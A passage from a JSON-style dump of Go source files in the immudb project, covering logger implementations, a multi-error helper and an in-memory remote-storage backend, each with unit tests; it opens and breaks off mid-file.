string\n\t\topts           *Options\n\t\twantLoggerType Logger\n\t\twantErr        bool\n\t}{\n\t\t{\n\t\t\tname: \"with json logger\",\n\t\t\topts: &Options{\n\t\t\t\tName:      \"foo\",\n\t\t\t\tLogFormat: \"json\",\n\t\t\t\tLogFile:   filepath.Join(t.TempDir(), \"log_json.log\"),\n\t\t\t},\n\t\t\twantLoggerType: &JsonLogger{},\n\t\t\twantErr:        false,\n\t\t},\n\t\t{\n\t\t\tname: \"with text logger\",\n\t\t\topts: &Options{\n\t\t\t\tName:      \"foo\",\n\t\t\t\tLogFormat: LogFormatText,\n\t\t\t\tLogFile:   filepath.Join(t.TempDir(), \"log_text.log\"),\n\t\t\t},\n\t\t\twantLoggerType: &SimpleLogger{},\n\t\t\twantErr:        false,\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tgotLogger, err := NewLogger(tt.opts)\n\t\t\tdefer os.RemoveAll(tt.opts.LogFile)\n\t\t\tif (err != nil) != tt.wantErr {\n\t\t\t\tt.Errorf(\"NewLogger() error = %v, wantErr %v\", err, tt.wantErr)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tdefer gotLogger.Close()\n\t\t\tif reflect.TypeOf(gotLogger) != reflect.TypeOf(tt.wantLoggerType) {\n\t\t\t\tt.Errorf(\"NewLogger() = %v, want %v\", gotLogger, tt.wantLoggerType)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "embedded/logger/memory.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage logger\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n)\n\ntype MemoryLogger struct {\n\tm     sync.Mutex\n\tlines *[]string\n\tlevel LogLevel\n}\n\nfunc NewMemoryLogger() *MemoryLogger {\n\treturn NewMemoryLoggerWithLevel(LogLevelFromEnvironment())\n}\n\nfunc NewMemoryLoggerWithLevel(level LogLevel) *MemoryLogger {\n\treturn &MemoryLogger{\n\t\tlines: &[]string{},\n\t\tlevel: level,\n\t}\n}\n\nfunc (l *MemoryLogger) Errorf(fmt string, args ...interface{}) {\n\tl.addLog(LogError, \"ERR\", fmt, args)\n}\n\nfunc (l *MemoryLogger) Warningf(fmt string, args ...interface{}) {\n\tl.addLog(LogWarn, \"WRN\", fmt, args)\n}\n\nfunc (l *MemoryLogger) Infof(fmt string, args ...interface{}) {\n\tl.addLog(LogInfo, \"INF\", fmt, args)\n}\n\nfunc (l *MemoryLogger) Debugf(fmt string, args ...interface{}) {\n\tl.addLog(LogDebug, \"DBG\", fmt, args)\n}\n\nfunc (l *MemoryLogger) GetLogs() []string {\n\tl.m.Lock()\n\tdefer l.m.Unlock()\n\n\treturn *l.lines\n}\n\nfunc (l *MemoryLogger) addLog(level LogLevel, prefix string, f string, args []interface{}) {\n\tif level < l.level {\n\t\treturn\n\t}\n\n\tsb := &strings.Builder{}\n\n\tsb.WriteRune('[')\n\tsb.WriteString(time.Now().Format(time.RFC3339Nano))\n\tsb.WriteString(\"] \")\n\tsb.WriteString(prefix)\n\tsb.WriteString(\": \")\n\n\tfmt.Fprintf(sb, f, args...)\n\n\tl.m.Lock()\n\tdefer l.m.Unlock()\n\n\t*l.lines = append(*l.lines, sb.String())\n}\n\n// Close the logger ...\nfunc (l *MemoryLogger) Close() error {\n\treturn nil\n}\n"
  },
  {
    "path": "embedded/logger/memory_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage logger_test\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestMemoryLogger(t *testing.T) {\n\tt.Setenv(\"LOG_LEVEL\", \"error\")\n\n\tml := logger.NewMemoryLogger()\n\tdefer ml.Close()\n\n\tml.Infof(\"hello %s!\", \"world\")\n\tml.Errorf(\"Hello %s!\", \"World\")\n\n\trequire.Len(t, ml.GetLogs(), 1)\n\trequire.Regexp(t, `^\\[.*\\] ERR: Hello World!`, ml.GetLogs()[0])\n\n\tfor _, d := range []struct {\n\t\tlevel           logger.LogLevel\n\t\texpectedNewLogs int\n\t}{\n\t\t{logger.LogDebug, 4},\n\t\t{logger.LogInfo, 3},\n\t\t{logger.LogWarn, 2},\n\t\t{logger.LogError, 1},\n\t} {\n\t\tt.Run(fmt.Sprintf(\"filtering test (%+v)\", d), func(t *testing.T) {\n\t\t\tml2 := logger.NewMemoryLoggerWithLevel(d.level)\n\t\t\tml2.Debugf(\"DEBUG\")\n\t\t\tml2.Infof(\"INFO\")\n\t\t\tml2.Warningf(\"WARNING\")\n\t\t\tml2.Errorf(\"ERROR\")\n\n\t\t\trequire.Equal(t, d.expectedNewLogs, len(ml2.GetLogs()))\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "embedded/logger/simple.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage logger\n\nimport (\n\t\"io\"\n\t\"log\"\n)\n\n// SimpleLogger ...\ntype SimpleLogger struct {\n\tOut      io.Writer\n\tLogger   *log.Logger\n\tLogLevel LogLevel\n}\n\n// NewSimpleLogger ...\nfunc NewSimpleLogger(name string, out io.Writer) Logger {\n\treturn &SimpleLogger{\n\t\tOut:      out,\n\t\tLogger:   log.New(out, name+\" \", log.LstdFlags),\n\t\tLogLevel: LogLevelFromEnvironment(),\n\t}\n}\n\n// NewSimpleLoggerWithLevel ...\nfunc NewSimpleLoggerWithLevel(name string, out io.Writer, level LogLevel) Logger {\n\treturn &SimpleLogger{\n\t\tLogger:   log.New(out, name+\" \", log.LstdFlags),\n\t\tLogLevel: level,\n\t}\n}\n\n// Errorf ...\nfunc (l *SimpleLogger) Errorf(f string, v ...interface{}) {\n\tif l.LogLevel <= LogError {\n\t\tl.Logger.Printf(\"ERROR: \"+f, v...)\n\t}\n}\n\n// Warningf ...\nfunc (l *SimpleLogger) Warningf(f string, v ...interface{}) {\n\tif l.LogLevel <= LogWarn {\n\t\tl.Logger.Printf(\"WARNING: \"+f, v...)\n\t}\n}\n\n// Infof ...\nfunc (l *SimpleLogger) Infof(f string, v ...interface{}) {\n\tif l.LogLevel <= LogInfo {\n\t\tl.Logger.Printf(\"INFO: \"+f, v...)\n\t}\n}\n\n// Debugf ...\nfunc (l *SimpleLogger) Debugf(f string, v ...interface{}) {\n\tif l.LogLevel <= LogDebug {\n\t\tl.Logger.Printf(\"DEBUG: \"+f, v...)\n\t}\n}\n\n// Close the logger ...\nfunc (l *SimpleLogger) Close() error {\n\tif wc, ok := l.Out.(io.Closer); ok {\n\t\treturn wc.Close()\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "embedded/logger/simple_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage logger\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestSimpleLogger(t *testing.T) {\n\tt.Setenv(\"LOG_LEVEL\", \"error\")\n\n\tname := \"test-simple-logger\"\n\toutputWriter := bytes.NewBufferString(\"\")\n\tsl := NewSimpleLogger(name, outputWriter)\n\tsl.Debugf(\"some debug %d\", 1)\n\tsl.Infof(\"some info %d\", 1)\n\tsl.Warningf(\"some warning %d\", 1)\n\tsl.Errorf(\"some error %d\", 1)\n\tlogBytes, err := ioutil.ReadAll(outputWriter)\n\tlogOutput := string(logBytes)\n\trequire.NoError(t, err)\n\trequire.Contains(t, logOutput, name)\n\trequire.Contains(t, logOutput, \" ERROR: some error 1\")\n\trequire.NotContains(t, logOutput, \"some debug 1\")\n\trequire.NotContains(t, logOutput, \"some info 1\")\n\trequire.NotContains(t, logOutput, \"some warning 1\")\n\n\toutputWriter.Reset()\n\tsl3 := NewSimpleLoggerWithLevel(fmt.Sprintf(\"%s \", name), outputWriter, LogWarn)\n\tsl3.Debugf(\"some debug %d\", 3)\n\tsl3.Infof(\"some info %d\", 3)\n\tsl3.Warningf(\"some warning %d\", 3)\n\tsl3.Errorf(\"some error %d\", 3)\n\tlogBytes, err = ioutil.ReadAll(outputWriter)\n\trequire.NoError(t, err)\n\tlogOutput = string(logBytes)\n\trequire.NotContains(t, logOutput, \"some debug 3\")\n\trequire.NotContains(t, logOutput, \"ome info 2\")\n\trequire.Contains(t, logOutput, \" WARNING: some warning 3\")\n\trequire.Contains(t, logOutput, \" ERROR: some error 3\")\n}\n\nfunc TestLogLevelFromEnvironment(t *testing.T) {\n\tt.Run(\"unset - default to info\", func(t *testing.T) {\n\t\tt.Setenv(\"LOG_LEVEL\", \"\")\n\t\tdefaultLevel := LogLevelFromEnvironment()\n\t\trequire.Equal(t, LogInfo, defaultLevel)\n\t})\n\n\tt.Run(\"error\", func(t *testing.T) {\n\t\tt.Setenv(\"LOG_LEVEL\", \"error\")\n\t\trequire.Equal(t, LogError, LogLevelFromEnvironment())\n\t})\n\n\tt.Run(\"warn\", func(t *testing.T) {\n\t\tt.Setenv(\"LOG_LEVEL\", \"warn\")\n\t\trequire.Equal(t, LogWarn, LogLevelFromEnvironment())\n\t})\n\n\tt.Run(\"info\", func(t *testing.T) {\n\t\tt.Setenv(\"LOG_LEVEL\", \"info\")\n\t\trequire.Equal(t, LogInfo, LogLevelFromEnvironment())\n\t})\n\n\tt.Run(\"debug\", func(t *testing.T) {\n\t\tt.Setenv(\"LOG_LEVEL\", \"debug\")\n\t\trequire.Equal(t, LogDebug, LogLevelFromEnvironment())\n\t})\n}\n"
  },
  {
    "path": "embedded/multierr/multierr.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage multierr\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n)\n\ntype MultiErr struct {\n\terrors []error\n}\n\nfunc NewMultiErr() *MultiErr {\n\treturn &MultiErr{}\n}\n\nfunc (me *MultiErr) Append(err error) *MultiErr {\n\tif err != nil {\n\t\tme.errors = append(me.errors, err)\n\t}\n\n\treturn me\n}\n\nfunc (me *MultiErr) Includes(err error) bool {\n\tfor _, e := range me.errors {\n\t\tif errors.Is(e, err) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}\n\nfunc (me *MultiErr) HasErrors() bool {\n\treturn len(me.errors) > 0\n}\n\nfunc (me *MultiErr) Errors() []error {\n\treturn me.errors\n}\n\nfunc (me *MultiErr) Reduce() error {\n\tif !me.HasErrors() {\n\t\treturn nil\n\t}\n\treturn me\n}\n\nfunc (me *MultiErr) Is(target error) bool {\n\tfor _, err := range me.errors {\n\t\tif errors.Is(err, target) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}\n\nfunc (me *MultiErr) As(target interface{}) bool {\n\tfor _, err := range me.errors {\n\t\tif errors.As(err, target) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}\n\nfunc (me *MultiErr) Error() string {\n\treturn fmt.Sprintf(\"%v\", me.errors)\n}\n"
  },
  {
    "path": "embedded/multierr/multierr_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage multierr\n\nimport (\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\ntype includedErrA struct {\n\terr string\n}\n\nfunc (e *includedErrA) Error() string {\n\treturn e.err\n}\n\ntype includedErrB struct {\n\terr string\n}\n\nfunc (e *includedErrB) Error() string {\n\treturn e.err\n}\n\ntype excludedErr struct {\n\terr string\n}\n\nfunc (e *excludedErr) Error() string {\n\treturn e.err\n}\n\nfunc TestMultiErr(t *testing.T) {\n\tincludedErrors := []error{\n\t\t&includedErrA{err: \"includedErrorA1\"},\n\t\t&includedErrA{err: \"includedErrorA2\"},\n\t\t&includedErrB{err: \"includedErrorB1\"},\n\t}\n\n\teErr := &excludedErr{err: \"excludedError1\"}\n\n\tmerr := NewMultiErr()\n\trequire.NotNil(t, merr)\n\trequire.False(t, merr.HasErrors())\n\trequire.Empty(t, merr.Errors())\n\trequire.Nil(t, merr.Reduce())\n\n\tmerr.Append(includedErrors[0]).\n\t\tAppend(includedErrors[1]).\n\t\tAppend(includedErrors[2])\n\n\trequire.Error(t, merr)\n\trequire.True(t, merr.HasErrors())\n\trequire.Len(t, merr.Errors(), 3)\n\trequire.True(t, merr.Includes(includedErrors[0]))\n\trequire.True(t, merr.Includes(includedErrors[1]))\n\trequire.True(t, merr.Includes(includedErrors[2]))\n\trequire.False(t, merr.Includes(eErr))\n\n\trequire.ErrorIs(t, merr, includedErrors[0])\n\trequire.ErrorIs(t, merr, includedErrors[1])\n\trequire.NotErrorIs(t, merr, eErr)\n\n\trequire.Contains(t, merr.Error(), \"includedErrorA1\")\n\trequire.Contains(t, merr.Error(), \"includedErrorA2\")\n\trequire.Contains(t, merr.Error(), \"includedErrorB1\")\n\trequire.NotContains(t, merr.Error(), \"excludedError1\")\n\n\trequire.Equal(t, merr, merr.Reduce())\n\n\tvar iErrA *includedErrA\n\trequire.ErrorAs(t, merr, &iErrA)\n\trequire.NotNil(t, iErrA)\n\n\tvar iErrB *includedErrB\n\trequire.ErrorAs(t, merr, &iErrB)\n\trequire.NotNil(t, iErrB)\n\n\tvar eErr2 *excludedErr\n\trequire.False(t, errors.As(merr, &eErr2))\n\trequire.Nil(t, eErr2)\n}\n"
  },
  {
    "path": "embedded/remotestorage/memory/memory.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage memory\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"math/rand\"\n\t\"sort\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\tremotestorage \"github.com/codenotary/immudb/embedded/remotestorage\"\n)\n\nvar (\n\tErrInvalidArguments = errors.New(\"invalid arguments\")\n)\n\n// Storage implements a simple in-memory remote storage\ntype Storage struct {\n\tmutex   sync.RWMutex\n\tobjects map[string][]byte\n\n\trandomPutDelayMinMs, randomPutDelayMaxMs int\n}\n\nfunc Open() *Storage {\n\treturn &Storage{\n\t\tobjects: map[string][]byte{},\n\t}\n}\n\nfunc (r *Storage) Kind() string {\n\treturn \"memory\"\n}\n\nfunc (r *Storage) String() string {\n\treturn fmt.Sprintf(\"memory(%p):\", r)\n}\n\n// Get opens a stream of data for given object\nfunc (r *Storage) Get(ctx context.Context, name string, offs, size int64) (io.ReadCloser, error) {\n\tif offs < 0 || size == 0 {\n\t\treturn nil, ErrInvalidArguments\n\t}\n\n\tr.mutex.RLock()\n\tdefer r.mutex.RUnlock()\n\n\tobject, exists := r.objects[name]\n\tif !exists {\n\t\treturn nil, remotestorage.ErrNotFound\n\t}\n\tobjectLen := int64(len(object))\n\n\tif offs > objectLen {\n\t\toffs = objectLen\n\t}\n\n\tif size < 0 || offs+size > objectLen {\n\t\tsize = objectLen - offs\n\t}\n\n\treturn ioutil.NopCloser(bytes.NewReader(object[offs : offs+size])), nil\n}\n\nfunc (r *Storage) randomPutDelay() time.Duration {\n\tdelayMs := r.randomPutDelayMinMs + rand.Intn(r.randomPutDelayMaxMs-r.randomPutDelayMinMs+1)\n\treturn time.Millisecond * time.Duration(delayMs)\n}\n\n// Put writes a remote s3 resource\nfunc (r *Storage) Put(ctx context.Context, name string, fileName string) error {\n\tobject, err := ioutil.ReadFile(fileName)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tstore := func() {\n\t\tr.mutex.Lock()\n\t\tr.objects[name] = object\n\t\tr.mutex.Unlock()\n\t}\n\n\tdelay := r.randomPutDelay()\n\tif delay > 0 {\n\t\t// Asynchronous store\n\t\tgo func() {\n\t\t\ttime.Sleep(delay)\n\t\t\tstore()\n\t\t}()\n\t} else {\n\t\t// Synchronous store\n\t\tstore()\n\t}\n\n\treturn nil\n}\n\nfunc (r *Storage) Remove(ctx context.Context, name string) error {\n\tif validPath(name) {\n\t\treturn ErrInvalidArguments\n\t}\n\n\tdelete(r.objects, name)\n\treturn nil\n}\n\nfunc (r *Storage) RemoveAll(ctx context.Context, path string) error {\n\tif !validPath(path) {\n\t\treturn ErrInvalidArguments\n\t}\n\n\tfor key := range r.objects {\n\t\tif strings.HasPrefix(key, path) {\n\t\t\tdelete(r.objects, key)\n\t\t}\n\t}\n\treturn nil\n}\n\n// Exists checks if a remove resource exists and can be read\n// Note that due to an asynchronous nature of cluod storage,\n// a resource stored with the Put method may not be immediately accessible\nfunc (r *Storage) Exists(ctx context.Context, name string) (bool, error) {\n\tr.mutex.RLock()\n\tdefer r.mutex.RUnlock()\n\n\t_, exists := r.objects[name]\n\treturn exists, nil\n}\n\nfunc (r *Storage) ListEntries(ctx context.Context, path string) ([]remotestorage.EntryInfo, []string, error) {\n\tr.mutex.Lock()\n\tdefer r.mutex.Unlock()\n\n\tif !validPath(path) {\n\t\treturn nil, nil, ErrInvalidArguments\n\t}\n\n\tsubPathSet := map[string]struct{}{}\n\tentries := []remotestorage.EntryInfo{}\n\n\tfor k := range r.objects {\n\t\tif !strings.HasPrefix(k, path) {\n\t\t\tcontinue\n\t\t}\n\n\t\tkWithoutPath := k[len(path):]\n\t\tnextSlash := strings.IndexRune(kWithoutPath, '/')\n\t\tif nextSlash == -1 {\n\t\t\tentries = append(entries, remotestorage.EntryInfo{\n\t\t\t\tName: kWithoutPath,\n\t\t\t\tSize: int64(len(r.objects[k])),\n\t\t\t})\n\t\t} else {\n\t\t\tsubPathSet[kWithoutPath[:nextSlash]] = struct{}{}\n\t\t}\n\t}\n\tsort.Slice(entries, func(i, j int) bool { return entries[i].Name < entries[j].Name })\n\n\tsubPaths := []string{}\n\tfor k := range subPathSet {\n\t\tsubPaths = append(subPaths, k)\n\t}\n\tsort.Strings(subPaths)\n\n\treturn entries, subPaths, nil\n}\n\nfunc (r *Storage) SetRandomPutDelays(minMs, maxMs int) {\n\tr.mutex.Lock()\n\tdefer r.mutex.Unlock()\n\n\tr.randomPutDelayMinMs = minMs\n\tr.randomPutDelayMaxMs = maxMs\n}\n\nfunc validPath(path string) bool {\n\treturn path == \"\" || (strings.HasSuffix(path, \"/\") && !strings.Contains(path, \"//\") && path != \"/\")\n}\n\nvar _ remotestorage.Storage = (*Storage)(nil)\n"
  },
  {
    "path": "embedded/remotestorage/memory/memory_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage memory\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/remotestorage\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc tmpFile(t *testing.T, data string) (fileName string, cleanup func()) {\n\tfl, err := ioutil.TempFile(\"\", \"\")\n\trequire.NoError(t, err)\n\tfmt.Fprint(fl, data)\n\terr = fl.Close()\n\trequire.NoError(t, err)\n\treturn fl.Name(), func() {\n\t\tos.Remove(fl.Name())\n\t}\n}\n\nfunc storeData(t *testing.T, s *Storage, name, data string) {\n\tfl, c := tmpFile(t, data)\n\tdefer c()\n\n\terr := s.Put(context.Background(), name, fl)\n\trequire.NoError(t, err)\n}\n\nfunc TestRemoteStorageAPIMemory(t *testing.T) {\n\tstorage := Open()\n\tctx := context.Background()\n\n\tt.Run(\"Empty storage after initialization\", func(t *testing.T) {\n\t\tobject, err := storage.Get(ctx, \"does-not-exist\", 0, -1)\n\t\tassert.Nil(t, object)\n\t\tassert.Equal(t, remotestorage.ErrNotFound, err)\n\t\texists, err := storage.Exists(ctx, \"does-not-exist\")\n\t\trequire.NoError(t, err)\n\t\tassert.False(t, exists)\n\t})\n\n\tt.Run(\"Single object store\", func(t *testing.T) {\n\t\tfl, c := tmpFile(t, \"objectdata\")\n\t\tdefer c()\n\n\t\terr := storage.Put(ctx, \"object-name\", fl)\n\t\tassert.NoError(t, err)\n\t\texists, err := storage.Exists(ctx, \"object-name\")\n\t\trequire.NoError(t, err)\n\t\tassert.True(t, exists)\n\t\texists, err = storage.Exists(ctx, \"does-not-exist\")\n\t\trequire.NoError(t, err)\n\t\tassert.False(t, exists)\n\t\tassert.Equal(t, 1, len(storage.objects))\n\n\t\tt.Run(\"Read the whole object\", func(t *testing.T) {\n\t\t\tdata, err := storage.Get(ctx, \"object-name\", 0, 1000)\n\t\t\trequire.NoError(t, err)\n\n\t\t\treadData, err := ioutil.ReadAll(data)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, []byte(\"objectdata\"), readData)\n\t\t})\n\n\t\tfor _, d := range []struct {\n\t\t\toffset, size int64\n\t\t\texpectedData string\n\t\t}{\n\t\t\t{0, 4, \"obje\"},        // Beginning of the data\n\t\t\t{2, 4, \"ject\"},        // In the middle\n\t\t\t{0, 10, \"objectdata\"}, // Exact size\n\t\t\t{2, 10, \"jectdata\"},   // Past the end\n\t\t\t{100, 10, \"\"},         // Outside of the object\n\t\t} {\n\n\t\t\tt.Run(fmt.Sprintf(\"Read part of the object (%d-%d)\", d.offset, d.size), func(t *testing.T) {\n\t\t\t\tdata, err := storage.Get(ctx, \"object-name\", d.offset, d.size)\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\treadData, err := ioutil.ReadAll(data)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.Equal(t, []byte(d.expectedData), readData)\n\t\t\t})\n\t\t}\n\t})\n}\n\nfunc TestRemoteStorageAPIMemoryPutDelay(t *testing.T) {\n\tctx := context.Background()\n\n\tt.Run(\"Object must not appear immediately\", func(t *testing.T) {\n\t\tstorage := Open()\n\t\tstorage.SetRandomPutDelays(1000000, 1000000)\n\n\t\tfl, c := tmpFile(t, \"object-data\")\n\t\tdefer c()\n\n\t\terr := storage.Put(ctx, \"object-name\", fl)\n\t\trequire.NoError(t, err)\n\n\t\texists, err := storage.Exists(ctx, \"object-name\")\n\t\trequire.NoError(t, err)\n\t\tassert.False(t, exists)\n\n\t})\n\n\tt.Run(\"object must appear after some delay\", func(t *testing.T) {\n\t\tstorage := Open()\n\t\tstorage.SetRandomPutDelays(1, 1)\n\n\t\tfl, c := tmpFile(t, \"object-data-2\")\n\t\tdefer c()\n\n\t\terr := storage.Put(ctx, \"object-name\", fl)\n\t\trequire.NoError(t, err)\n\t\t// Data shold be stored within 1ms but due to go scheduler and threads\n\t\t// it may be delayed a bit more\n\t\tfor i := 0; i < 100; i++ {\n\t\t\ttime.Sleep(time.Millisecond)\n\t\t\texists, err := storage.Exists(ctx, \"object-name\")\n\t\t\trequire.NoError(t, err)\n\t\t\tif exists {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\texists, err := storage.Exists(ctx, \"object-name\")\n\t\trequire.NoError(t, err)\n\t\trequire.True(t, exists)\n\n\t\tdata, err := storage.Get(ctx, \"object-name\", 0, 10000)\n\t\trequire.NoError(t, err)\n\t\tbytesRead, err := ioutil.ReadAll(data)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, []byte(\"object-data-2\"), bytesRead)\n\t})\n}\n\nfunc TestRemoteStorageAPIMemoryPutError(t *testing.T) {\n\tstorage := Open()\n\tctx := context.Background()\n\n\terr := storage.Put(ctx, \"object-name\", \"/file/that/does/not/exist\")\n\tassert.True(t, errors.Is(err, os.ErrNotExist))\n}\n\nfunc TestRemoteStorageName(t *testing.T) {\n\tstorage := Open()\n\trequire.Contains(t, storage.String(), \"memory\")\n\trequire.Equal(t, \"memory\", storage.Kind())\n}\n\nfunc TestRemoteStorageGetInvalidParams(t *testing.T) {\n\tstorage := Open()\n\tctx := context.Background()\n\n\tr, err := storage.Get(ctx, \"testfile\", -1, 100)\n\trequire.ErrorIs(t, err, ErrInvalidArguments)\n\trequire.Nil(t, r)\n\n\tr, err = storage.Get(ctx, \"testfile\", 0, 0)\n\trequire.ErrorIs(t, err, ErrInvalidArguments)\n\trequire.Nil(t, r)\n}\n\nfunc TestRemoteStorageListEntries(t *testing.T) {\n\tstorage := Open()\n\n\tstoreData(t, storage, \"path/file1\", \"\")\n\tstoreData(t, storage, \"path/file2\", \"abc\")\n\tstoreData(t, storage, \"path/subPath/file3\", \"defg\")\n\tstoreData(t, storage, \"file4\", \"hi\")\n\tstoreData(t, storage, \"path2/subPath/file5\", \"jklmnop\")\n\n\tentries, subFolders, err := storage.ListEntries(context.Background(), \"\")\n\trequire.NoError(t, err)\n\trequire.Equal(t, []remotestorage.EntryInfo{\n\t\t{Name: \"file4\", Size: 2},\n\t}, entries)\n\trequire.Equal(t, []string{\"path\", \"path2\"}, subFolders)\n\n\tentries, subFolders, err = storage.ListEntries(context.Background(), \"path/\")\n\trequire.NoError(t, err)\n\trequire.Equal(t, []remotestorage.EntryInfo{\n\t\t{Name: \"file1\", Size: 0},\n\t\t{Name: \"file2\", Size: 3},\n\t}, entries)\n\trequire.Equal(t, []string{\"subPath\"}, subFolders)\n}\n\nfunc TestRemoteStorageListEntriesInvalidArgs(t *testing.T) {\n\tstorage := Open()\n\n\tfor _, path := range []string{\"/\", \"no_slash\", \"double_slash_//_inside/\"} {\n\t\tt.Run(path, func(t *testing.T) {\n\t\t\te, s, err := storage.ListEntries(context.Background(), path)\n\t\t\trequire.ErrorIs(t, err, ErrInvalidArguments)\n\t\t\trequire.Nil(t, e)\n\t\t\trequire.Nil(t, s)\n\t\t})\n\t}\n}\n\nfunc TestRemoteStorageRemove(t *testing.T) {\n\tstorage := Open()\n\n\tstoreData(t, storage, \"path/file1\", \"\")\n\tstoreData(t, storage, \"path/file2\", \"abc\")\n\tstoreData(t, storage, \"path/subPath/file1\", \"defg\")\n\tstoreData(t, storage, \"path/subPath/file2\", \"jklmnop\")\n\tstoreData(t, storage, \"path/subPath/file3\", \"jklmnop\")\n\tstoreData(t, storage, \"path/subPath/subPath1/file\", \"jklmnop\")\n\n\tt.Run(\"test remove single object\", func(t *testing.T) {\n\t\terr := storage.Remove(context.Background(), \"path/subPath/file2/\")\n\t\trequire.ErrorIs(t, err, ErrInvalidArguments)\n\n\t\terr = storage.Remove(context.Background(), \"path/subPath/file2\")\n\t\trequire.NoError(t, err)\n\n\t\tentries, _, err := storage.ListEntries(context.Background(), \"path/subPath/\")\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, entries, 2)\n\t\trequire.Equal(t, \"file1\", entries[0].Name)\n\t\trequire.Equal(t, \"file3\", entries[1].Name)\n\t})\n\n\tt.Run(\"test remove folder\", func(t *testing.T) {\n\t\terr := storage.RemoveAll(context.Background(), 